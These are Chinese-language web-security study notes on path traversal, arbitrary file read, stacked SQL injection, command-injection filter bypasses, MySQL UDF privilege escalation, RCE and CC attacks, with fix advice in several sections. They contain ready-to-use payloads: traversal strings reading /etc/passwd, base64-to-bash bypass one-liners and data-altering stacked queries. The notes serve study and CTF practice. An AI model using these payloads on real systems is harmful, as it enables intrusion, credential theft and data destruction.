01 RCE+CC攻击+目录穿越+堆叠查询+任意文件读取...

目录


 目录穿越

任意文件读取和下载漏洞

敏感目录和文件

sql注入之堆叠查询

命令执行漏洞的一些绕过方式

UDF提权

RCE

CC攻击

Cookie和session机制

 


 

目录穿越

原理:
目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。

在Unix操作系统上,../ 是一个标准的返回上一级路径的语法;
在Windows操作系统上, ../ 和 ..\ 都是返回上一级的语句。

攻击:
1、利用 ../ 返回上一级来遍历任意文件: (最常用)

../文件名 (../ 的个数不定)


2、使用绝对路径
3、双写../绕过
有时候,防御措施是直接将 ../ 替换为空,可以直接采用双写/复写直接绕过:

filename=....//....//....///etc/passwd


4、URL编码绕过

. => %2e
/ => %2f
% => %25 (双重URL编码)

 

5、绝对路径配合../

filename=/var/www/images/../../../etc/passwd

6、%00截断文件后缀

 

目录穿越绕过方案

1)进行URL编码:        点–> %2e      反斜杠–> %2f      正斜杠–> %5c
2)进行16为Unicode编码:点–> %u002e   反斜杠–> %u2215   正斜杠–> %u2216
3)进行双倍URL编码:    点–> %252e    反斜杠–> %u252f   正斜杠–> %u255c
4)进行超长UTF-8 Unicode编码:
 .  点–>%c0%2e %e0$40%ae %c0ae
 \  反斜杠–>%c0af %e0%80af %c0%af
 /  正斜杠–>%c0%5c %c0%80%5c

 

目录穿越修复方案

1)在URL内不要使用文件名称作为参数
2)检查使用者输入的文件名是否有“…”的目录阶层字符
3)在php.ini文件中设置open_basedir来指定文件的目录
4)使用realpath函数来展开文件路径中的“./”、 “…/”等字符,然后返回绝对路径名称
5)使用basename函数来返回不包含路径的文件名称

 

参考:
https://blog.csdn.net/angry_program/article/details/107855078
https://blog.csdn.net/weixin_45007073/article/details/113466902

返回目录

 

 

 

任意文件读取和下载漏洞

任意文件读取漏洞 

任意文件读取是属于文件操作漏洞的一种,一般任意文件读取漏洞可以读取配置信息甚至系统重要文件。严重的话,就可能导致SSRF,进而漫游至内网。

 

漏洞产生原因

1、存在读取文件的函数
2、读取文件的路径用户可控,且未校验或校验不严
3、输出了文件内容

文件读取函数

readfile()、file_get_contents()、fopen()中,$filename没有经过校验或者校验不合格,用户可控制变量读取任意文件,如/etc/passwd、./index.php、/config.ini。

任意文件读取验证

示例代码:

<?php
$filename=$_GET['f'];
echo file_get_contents($filename);
?>


测试:

readfile.php?f=../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00
readfile.php?f=../index.txt
file://伪协议 ,读取文件内容 :readfile.php?f=file:///etc/passwd
php伪协议 : ?变量= php://filter/read=convert.base64-encode/resource=文件名
?name=…/…/…/…/…/proc/self/cmdline

 

    Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其常见的文件系统不同的是,/proc是一种伪文件系统(即虚拟文件系统),存储的是当前内核运行状态的一系统特殊文件,用户可以通过这些文件查看这些关于硬件及当前正在运行进程的信息,甚至可以通过更改其中的某些文件来改变内核的运行状态。

1)  /proc/[pid],当查看当前进程的时候可以用/proc/self代替
2)   cmdline——启动当前进程的完整命令,可以得到当前系统使用的脚本文件;(但僵尸进程目录中的此文件不包含任何信息)

  eg:

/proc/self/cmdline

3)  cwd——指向当前进程运行目录的一个符号链接;可以查看当前运行的文件的内容:

eg:

/proc/self/cwd/文件
如: proc/self/cwd/server.py

4)  environ —— 当前进程环境变量列表,彼此间用空字符串(NULL)隔开;变量用大写字母表示,其值用小字母表示。

 


任意文件下载漏洞

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是目录遍历与下载漏洞。

漏洞产生原因

1、有读取文件的函数
2、读物文件的路径用户可控,且没有经过校验,或者校验不严格
3、输出文件内容
一个正常的网站,存在一个下载文件的功能,同时还会从浏览器接收文件名字

任意文件下载验证

<?php
$filename = $_GET['f'];
echo '<h1>讲开始下载文件!</h1><br /><br />';
echo file_get_contents($filename);
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>

 

任意文件读取漏洞修复

1、过滤 . 点,使用户在url中不能回溯上级目录
2、正则严格判断用户输入的参数
3、php.ini配置open_basedir限定文件访问范围
4、设置白名单,即只能下载/访问某个目录下的文件,权限给到最低


文件下载漏洞修复

1、将下载区独立出来,放在项目路径外,给每个下载资源固定的URL,而不是所有的下载资源都是统一的URL:http://www.test.com/download?filename=文件名

2、净化数据:对用户传过来的文件名参数进行硬编码或统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。

3、web应用程序可以使用chroot环境包含被访问的web目录,或者使用绝对路径+参数来访问文件目录,时使其即使越权也在访问目录之内。www目录就是一个chroot应用。由chroot创造出的那个根目录,叫做“chroot监狱”(所谓”监狱”就是指通过chroot机制来更改某个进程所能看到的根目录,即将某进程限制在指定目录中,保证该进程只能对该目录及其子目录的文件有所动作,从而保证整个服务器的安全。

 详细具体chroot的用法,可参考:http://blog.csdn.net/frozen_fish/article/details/2244870

4、任意文件下载漏洞也有可能是web所采用的中间件的版本低而导致问题的产生,例如ibm的websphere的任意文件下载漏洞,需更新其中间件的版本可修复。

5、要下载的文件地址保存至数据库中。

6、文件路径保存至数据库,让用户提交文件对应ID下载文件。

7、用户下载文件之前需要进行权限判断。

8、文件放在web无法直接访问的目录下。

9、不允许提供目录遍历服务。

10、公开文件可放置在web应用程序下载目录中通过链接进行下载。

11、记录文件下载日志

 

参考转载自:

https://blog.csdn.net/m_de_g/article/details/117999787

https://www.cnblogs.com/pursue-security/p/15302763.html

返回目录

 

 

敏感目录和文件

Linux

(1)/etc目录/     : etc目录下多是各种应用或系统配置文件,所以其下的文件是进行文件读取的首要目标。

  (2)/etc/passwd   : /etc/passwd文件是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么。  

  (3)/etc/shadow       : /etc/shadow是Linux系统保存用户信息及(可能存在)密码(hash)的文件,权限是root用户可读写、shadow组可读。所以一般情况下,这个文件是不可读的。

  (4)/etc/httpd/conf/httpd.conf        :/etc/httpd/conf/httpd.conf 是Apache配置文件,可以获知Web目录、服务端口等信息。CTF有些题目需要参赛者确认Web路径。 

  (5)/etc/nginx/*       : /etc/nginx/*是Nginx配置文件(Ubuntu等系统),可以获知Web目录、服务端口等信息。

  (6)/etc/apparmor(.d)/*       : /etc/apparmor(.d)/*是Apparmor配置文件,可以获知各应用系统调用的白名单、黑名单。例如,通过读配置文件查看MySQL是否禁止了系统调用,从而确定是否可以使用UDF(User Defined Functions)执行系统命令。

  (7)/etc/(cron.d/*|crontab)    : /etc/(cron.d/*|crontab)是定时任务文件。有些CTF题目会设置一些定时任务,读取这些配置文件就可以发现隐藏的目录或其他文件。

  (8)/etc/environment   : /etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。

  (9)/etc/hostname   : 表示主机名。

  (10)/etc/hosts   :/etc/hosts是主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名。 

  (11)/etc/issue  : /etc/issue 指明系统版本。

  (12)/etc/mysql/*       :是MySQL配置文件。

  (13)/etc/php/*   :/etc/php/*是PHP配置文件。

(14)/proc目录   :/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录。

注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。

  (15)/var/lib/mlocate/mlocate.db  :数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。

在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。(当我们不知道路径是什么的情况下,)我们利用任意文件下载漏洞mlocate.db文件下载下来,利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息。(前提是具有root权限)

locate 读取方法: locate mlocate.db admin         //可以将mlocate.db中包含admin文件名的内容全部输出来

  (16)/porc/self/cmdline   :当前进程的cmdline参数

  (17)/root/.ssh/known_hosts   :ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。

 

Windows

  (1)C:\boot.ini              //查看系统版本

  (2)C:\Windows\System32\inetsrv\MetaBase.xml                //IIS配置文件

  (3)C:\Windows\repair\sam       //存储系统初次安装的密码

  (4)C:\Program Files\mysql\my.ini         //Mysql配置

  (5)C:\Program Files\mysql\data\mysql\user.MYD          //Mysql root

  (6)C:\Windows\php.ini                   //php配置信息

  (7)C:\Windows\my.ini                       //Mysql配置信息

 

Nginx:

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

 

搬运自:

https://weread.qq.com/web/reader/77d32500721a485577d8eeek65132ca01b6512bd43d90e3

https://www.cnblogs.com/pursue-security/p/15302763.html

 
 
 

sql注入之堆叠查询

原理:

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
或者这样理解: 堆叠注入和union的区别在于,union后只能跟select,而堆叠后面可以使用insert,update, create,delete,show等常规数据库语句

 

局限:

堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

 

以mysql为例:

select * from users;show databases;
新建表:
select * from users where id=1;create table test like users;
删除表:
select * from users where id=1;drop table test;
查询数据:
select * from users where id=1;select 1,2,3;
加载文件:
select * from users where id=1;select load_file('c:/tmpupbbn.php');
修改数据:
select * from users where id=1;insert into users(id,username,password) values ('100','new','new');

 

desc

mysql中 desc 能够查询 指定表 中有什么字段

用法 : desc 表名

?inject=2' ;desc words --+ 

在mysql中对纯数字存在要键上 ` (esc键下面的那个键)
?inject=2' ;desc `1919810931114514` --+ 

 

show

show tables 查询有什么表

show databases 查询有什么数据库

 

修改数据表名或者修改数据表字段时

当我们需要修改数据表名或者修改数据表字段时,就需要使用到MySQL alter命令
  1、如果需要修改字段类型及名称, 你可以在ALTER命令中使用 modify 或 change 子句 。
例如,把字段 c 的类型从 CHAR(1) 改为 CHAR(10),可以执行以下命令:
mysql> ALTER TABLE 表名 MODIFY c CHAR(10);

  2、使用 change 子句, 语法有很大的不同。 在 change 关键字之后,紧跟着的是你要修改的字段名,然后指定新字段名及类型。尝试如下实例:
mysql>alter table 表名 CHANGE 旧字段名 新字段名 数据类型;

  3、如果需要修改数据表的名称,可以在 ALTER TABLE 语句中使用 rename 子句来实现。
尝试以下实例将数据表 testalter_tbl 重命名为 alter_tbl:
mysql> alter table 旧名字 rename to 新名字;


删除,添加或修改表字段

  1、如下命令使用了 alter 命令及 drop 子句来删除以上创建表的 i 字段:
mysql>alter table 表名 drop i;
如果数据表中只剩余一个字段则无法使用DROP来删除字段。

  2、MySQL 中使用 add 子句来向数据表中添加列,如下实例在表 testalter_tbl 中添加 i 字段,并定义数据类型:
mysql> alter table 表名 add i INT;
执行以上命令后,i 字段会自动添加到数据表字段的末尾。

注意:alter要用XSS中常用的alert()区分


查看搬运自:
https://www.cnblogs.com/qianggediyi/p/15595172.html
https://blog.csdn.net/weixin_42253265/article/details/113309024

https://www.runoob.com/mysql/mysql-alter.html

 

handler

若是alter或rename被加入黑名单,不能用,则可以尝试使用hander语句

1 简介

  mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
dandler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。


2 基本语法

handler语句的语法如下:

复制代码
handler tbl_name open [ [as] alias]  //tbl_name 表示表名   as alias 表示取别名
handler tbl_name read index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
handler tbl_name read index_name { first | next | prev | last }  //index_name 表示索引
[ WHERE where_condition ] [LIMIT ... ] 
handler tbl_name read { first | next }
[ WHERE where_condition ] [limit ... ]

handler tbl_name close
复制代码

通过  handler tbl_name OPEN  打开一张表,无返回结果,实际上我们在这里声明了一个名为 tb1_name 的句柄。
通过  handler tbl_name read first  获取句柄的第一行,通过 read next 依次获取其它行。最后一行执行之后再执行 NEXT 会返回一个空的结果。
通过  handler tbl_name CLOSE  来关闭打开的句柄。

eg:

HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere close--+

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过  handler tbl_name read index_name first,获取句柄第一行(索引最小的一行),NEXT 获取下一行,PREV 获取前一行,LAST 获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过  handler tbl_name read index_name = value,指定从哪一行开始,通过NEXT继续浏览。

如果我们不想浏览一个表的所有行,可以使用where和limit子句。

 

参考搬运自:(原文更加详细,且有大量例子)

https://blog.csdn.net/jesseyoung/article/details/40785137

https://dev.mysql.com/doc/refman/8.0/en/handler.html

 

 返回目录

 

 

命令执行漏洞的一些绕过方式

空格绕过

1)${IFS}
2)${IFS}$1
3)$IFS$1
4)<和<>
5){cat,flag} <==> cat flag
6)%20替换
7)%0a (换行)
8)%0d (回车)
9)%09 (tab)
若是使用 ${IFS} 或 ${IFS}$1失败,也可能是过滤了符号,尝试一下 $IFS$1


黑名单(关键字)绕过

1)单引号、双引号绕过:c"a"t fl''ag
2)反斜线(右斜线)绕过:ca\t fl\ag
3)数字何@绕过:c$1at fl$@ag
4)拼接绕过:a=c;b=at;c=fl;d=ag; $a$b $c$d (不用加|)
       /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php或者
       /?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
5)base64:(3种)
     echo "Y2F0IGZsYWc="|base64 -d
     echo "Y2F0IGZsYWc="|base64 -d|bash
    |echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
6)hex编码绕过:
    echo "0x63617420666c61670a" | xxd -r -p|bash
7)oct编码绕过:(2种)
    $(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
    {printf,"\x63\x61\x74\x20\x66\x6c\x61\x67"}|$0

内联绕过:

所谓内联绕过就是将反引号内命令的输出作为输入执行,比如系统对flag字符进行了过滤,那么我们可以通过ls命令将flag.php输出作为输入,有以下两种方式:
    ?ip=127.0.0.1;cat 'ls'
    ?ip=127.0.0.1;cat $(ls)

 

强烈建议查看原文:

https://zhuanlan.zhihu.com/p/550877208

 返回目录

 

 

 

UDF提权

UDF介绍:

    udf = 'user defined function',即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。udf提权就是利用到创建自定义函数(sys_eval),在mysql中调用这个自定义的函数(sys_eval)来实现获取对方主机的system的shell权限,从而达到提权的目的。

如何使用udf

    假设我的udf文件名为‘udf.dll’,存放在Mysql根目录(通过select @@basedir可知)的‘lib/plugin’目录下。在udf中,我定义了名为sys_eval的mysql函数,可以执行系统任意命令。如果我现在就打开mysql命令行,使用select sys_eval('dir');的话,系统会返回sys_eval()函数未定义。因为我们仅仅是把‘udf.dll’放到了某个文件夹里,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。所以,我们应该把‘udf.dll’中的自定义函数引入进来
    简单来说便是利用提权脚本放到对方mysql指定的目录下,运用脚本创建自定义函数,使用函数即可获取shell权限。
为此:
  1、我们需要将duf.dll文件放入放入\lib\plugin目录中,如果没有该目录则要创建
  2、将UDF文件放在该目录下
  3、之后要执行这条语句 ,创建sys_eval()函数 :
create function sys_eval returns string soname 'udf.dll';
只有两个变量,一个是function_name(函数名),我们想引入的函数是sys_eval。还有一个变量是shared_library_name(共享包名称),即‘udf.dll’。
select * from mysql.func 可以查看是否创建成功
  4、至此我们已经引入了sys_eval函数,下面就是使用了。
这个函数用于执行系统命令,用法如下:
select sys_eval(' 要执行的命令,如cmd命令 ');

 

使用udf提权

  现在我们已经知道了udf是什么,以及如何引入udf。下面我们要关注的就是提权了。其实到这里,提权已经结束了,因为对于sys_eval()函数,其中的指令是直接以管理员的权限运行的,所以这也就是最高权限了。
下面来整理一下思路:

将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib\plugin文件夹下)
从udf文件中引入自定义函数(user defined function)
执行自定义函数

先看第一步,拿到一个网站的webshell之后,在指定位置创建udf文件。如何创建?先别忘了,现在连源udf文件都没有。sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本,否则会显示:Can't open shared library 'udf.dll'。

 

kali中获取:

  1、cd /usr/share/sqlmap/data/udf/mysql/windows 后有两个版本(32位和64位的)
选择对应版本,进入对应目录后发现 lib_mysqludf_sys.dll_ 文件
  2、然后,对其解码:
cd /usr/share/sqlmap/extra/cloak 目录后找到cloak.py工具后
python cloak.py -d -i lib_mysqludf_sys.dll_ 得到 lib_mysqludf_sys.dll,这就是我们想要的udf.dll文件

 

其他

Mysql版本大于5.1版本:udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本: udf.dll文件在Windows2003下放置于c:\windows\system32,
在windows2000下放置于c:\winnt\system32。
如果目录不存在则利用NTFS数据流创建文件目录

> select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

曾经尝试过用蚁剑连接,可以直接创建目录,向其中导入udf文件,然后成功提权。但网上的创建目录和上传文件都用了好多步骤,这其中的成功是否是偶然,或是因为什么没注意和想到的原因?
执行sql命令的前提是我们有数据库的账号、密码,连接上数据库

参考搬运:

https://blog.csdn.net/qq_53577336/article/details/119700116
https://www.cnblogs.com/litlife/p/9030673.html
https://blog.csdn.net/x728999452/article/details/52413974

返回目录

 

 

 

 

RCE

RCE :远程代码执行漏洞

原理:

    一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。 现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。
    远程代码执行 同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。 因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
    常见的有ping、eval和其他一些OS命令、PHP命令等


案例代码:

ping :
$result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理

 

eval :
if(@!eval($_POST['txt']))

 

系统命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

windows系统命令拼接方式

“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B
cmd1;cmd2 :不论cmd1是否为真,cmd2都会被执行;

 

PHP代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

利用1:
如果靶机是win7,我们可以上传mimikatz.exe文件来获取win7系统的所有账号密码

可以结合命令注入部分来理解

 

参考转载自:

https://blog.csdn.net/weixin_46706771/article/details/118893434
https://blog.csdn.net/qq_43814486/article/details/90020139
https://zhuanlan.zhihu.com/p/391439312

返回目录

 

 

 

 

CC攻击

原理:

    CC(ChallengeCollapsar,挑战黑洞)攻击是DDoS攻击的一种类型,使用代理服务器向受害服务器发送大量貌似合法的请求。CC根据其工具命名,攻击者使用代理机制,利用众多广泛可用的免费代理服务器发动DDoS攻击。许多免费代理服务器支持匿名模式,这使追踪变得非常困难。

    CC攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃。CC主要是用来攻击页面的,每个人都有这样的体验:当一个网页访问的人数特别多的时候,打开网页就慢了,CC就是模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量CPU时间)的页面,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止。

    CC攻击可以归为DDoS攻击的一种。他们之间的原理都是一样的,即发送大量的请求数据来导致服务器拒绝服务,是一种连接攻击。CC攻击又可分为代理CC攻击,和肉鸡CC攻击。代理CC攻击是黑客借助代理服务器生成指向受害主机的合法网页请求,实现DDoS,和伪装就叫:cc(Challenge Collapsar)。而肉鸡CC攻击是黑客使用CC攻击软件,控制大量肉鸡,发动攻击,相比来后者比前者更难防御。因为肉鸡可以模拟正常用户访问网站的请求。伪造成合法数据包。

参考:

https://baike.baidu.com/item/CC%E6%94%BB%E5%87%BB/10959545

返回目录

 

 

Cookie和session机制

    会话(Session)跟踪是Web程序中常用的技术,用来跟踪用户的整个会话。常用的会话跟踪技术是Cookie与Session。
Cookie通过在客户端记录信息确定用户身份,
Session通过在服务器端记录信息确定用户身份。

1.1 Cookie机制

    在程序中,会话跟踪是很重要的事情。理论上,一个用户的所有请求操作都应该属于同一个会话,而另一个用户的所有请求操作则应该属于另一个会话,二者不能混淆。
    而Web应用程序是使用HTTP协议传输数据的。HTTP协议是无状态的协议。一旦数据交换完毕,客户端与服务器端的连接就会关闭,再次交换数据需要建立新的连接。这就意味着服务器无法从连接上跟踪会话。
    Cookie就是这样的一种机制。它可以弥补HTTP协议无状态的不足。在Session出现之前,基本上所有的网站都采用Cookie来跟踪会话。
    对于Windows操作系统而言,我们可以从: [系统盘]:\Documents and Settings[用户名]\Cookies目录中找到存储的Cookie;

    查看某个网站颁发的Cookie很简单。在浏览器地址栏输入javascript:alert (document. cookie)就可以了

1.1.1 什么是Cookie

    由于HTTP是一种无状态的协议,服务器单从网络连接上无从知道客户身份。怎么办呢?就给客户端们颁发一个通行证吧,每人一个,无论谁访问都必须携带自己通行证。这样服务器就能从通行证上确认客户身份了。这就是Cookie的工作原理。
    Cookie技术是客户端的解决方案,Cookie就是由服务器发给客户端的特殊信息,而这些信息以文本文件的方式存放在客户端,然后客户端每次向服务器发送请求的时候都会带上这些特殊的信息。

    Cookie实际上是一小段的文本信息。客户端请求服务器,如果服务器需要记录该用户状态,就使用response向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态与权限。服务器还可以根据需要修改Cookie的内容。

注意:Cookie功能需要浏览器的支持。如果浏览器不支持Cookie(如大部分手机中的浏览器)或者把Cookie禁用了,Cookie功能就会失效。不同的浏览器采用不同的方式保存Cookie。IE浏览器会在“C:\Documents and Settings\你的用户名\Cookies”文件夹下以文本文件形式保存,一个文本文件保存一个Cookie。


一个cookie的设置以及发送过程分为以下四步:

1)客户端发送一个http请求到服务器端
2)服务器端发送一个http响应到客户端,其中包含Set-Cookie头部
3)客户端发送一个http请求到服务器端,其中包含Cookie头部
4) 服务器端发送一个http响应到客户端


1.1.2 Cookie的不可跨域名性

    根据Cookie规范,浏览器访问Google只会携带Google的Cookie,而不会携带Baidu的Cookie。Google也只能操作Google的Cookie,而不能操作Baidu的Cookie。

    Cookie在客户端是由浏览器来管理的。浏览器能够保证Google只会操作Google的Cookie而不会操作Baidu的Cookie,从而保证用户的隐私安全。浏览器判断一个网站是否能操作另一个网站Cookie的依据是域名。


1.1.5 设置Cookie的所有属性

    除了name与value之外,Cookie还具有其他几个常用的属性。每个属性对应一个getter方法与一个setter方法。Cookie类的所有属性如表1.1所示。

String name : 该Cookie的名称。Cookie一旦创建,名称便不可更改

Object value : 该Cookie的值。如果值为Unicode字符,需要为字符编码(一般为UTF-8)。如果值为二进制数据,则需要使用BASE64编码

int maxAge : 该Cookie失效的时间,单位秒。如果为正数,则该Cookie在maxAge秒之后失效。如果为负数,该Cookie为临时Cookie,关闭浏览器即失效,浏览器也不会以任何形式保存该Cookie。如果为0,表示删除该Cookie。默认为–1

String path : 该Cookie的使用路径。如果设置为“/sessionWeb/”,则只有contextPath为“/sessionWeb”的程序可以访问该Cookie。如果设置为“/”,则本域名下contextPath都可以访问该Cookie。注意最后一个字符必须为“/”

String domain : 可以访问该Cookie的域名。如果设置为“.google.com”,则所有以“google.com”结尾的域名都可以访问该Cookie。注意第一个字符必须为“.”

HttpOnly cookie  : 服务器端设置cookie的时候,也可以指定一个 HttpOnly 属性。
Set-Cookie: foo=bar; Path=/; HttpOnly    : 设置了这个属性的cookie在javascript中无法获取到,只会在网络传输过程中带到服务器。


1.1.6 Cookie的有效期

    Cookie的maxAge决定着Cookie的有效期,单位为秒(Second)。Cookie中通过getMaxAge()方法与setMaxAge(int maxAge)方法来读写maxAge属性。

    如果maxAge属性为正数,则表示该Cookie会在maxAge秒之后自动失效。浏览器会将maxAge为正数的Cookie持久化,即写到对应的Cookie文件中。无论客户关闭了浏览器还是电脑,只要还在maxAge秒之前,登录网站时该Cookie仍然有效。下面代码中的Cookie信息将永远有效。

Cookie cookie = new Cookie("username","helloweenvsfei"); // 新建Cookie
cookie.setMaxAge(Integer.MAX_VALUE); // 设置生命周期为MAX_VALUE
response.addCookie(cookie); // 输出到客户端

    如果maxAge为负数,则表示该Cookie仅在本浏览器窗口以及本窗口打开的子窗口内有效,关闭窗口后该Cookie即失效。maxAge为负数的Cookie,为临时性Cookie,不会被持久化,不会被写到Cookie文件中。Cookie信息保存在浏览器内存中,因此关闭浏览器该Cookie就消失了。Cookie默认的maxAge值为–1。

    如果maxAge为0,则表示删除该Cookie。Cookie机制没有提供删除Cookie的方法,因此通过设置该Cookie即时失效实现删除Cookie的效果。失效的Cookie会被浏览器从Cookie文件或者内存中删除,

注意:从客户端读取Cookie时,包括maxAge在内的其他属性都是不可读的,也不会被提交。浏览器提交Cookie时只会提交name与value属性。maxAge属性只被浏览器用来判断Cookie是否过期。

 

若要利用CSRF要攻击 web1:

  Thrid-party Cookie(本地Cookie): 可以直接利用该Cookie进行攻击(该Cookie会让web1认为是正常的用户的正常请求),即便被攻击者此时没有访问并登录web1
  Session Cookie (临时Cookie): 必须确保被攻击者的web1处于登录且认证状态,才能成功利用该cookie进行攻击(此时该Cookie才让web1认为是正常的用户的正常请求;才有效)


2.Session机制

    除了使用Cookie,Web应用程序中还经常使用Session来记录客户端状态。Session是服务器端使用的一种记录客户端状态的机制,使用上比Cookie简单一些,相应的也增加了服务器的存储压力。


2.1 什么是Session

    Session是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。

    如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话,那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案,客户来访的时候只需要查询客户档案表就可以了。


2.3 Session的生命周期

    Session生成后,只要用户继续访问,服务器就会更新Session的最后访问时间,并维护该Session。用户每访问服务器一次,无论是否读写Session,服务器都认为该用户的Session“活跃(active)”了一次。


2.4 Session的有效期

    由于会有越来越多的用户访问服务器,因此Session也会越来越多。为防止内存溢出,服务器会把长时间内没有活跃的Session从内存删除。这个时间就是Session的超时时间。如果超过了超时时间没访问过服务器,Session就自动失效了。


Cookie与Session的区别

1)cookie数据存放在客户的浏览器上,session数据放在服务器上;
2)cookie不是很安全,别人可以分析存放在本地的COOKIE并进行COOKIE欺骗,考虑到安全应当使用session;
3)session会在一定时间内保存在服务器上。当访问增多,会比较占用你服务器的性能。考虑到减轻服务器性能方面,应当使用COOKIE;
4)单个cookie在客户端的限制是3K,就是说一个站点在客户端存放的COOKIE不能超过3K

 

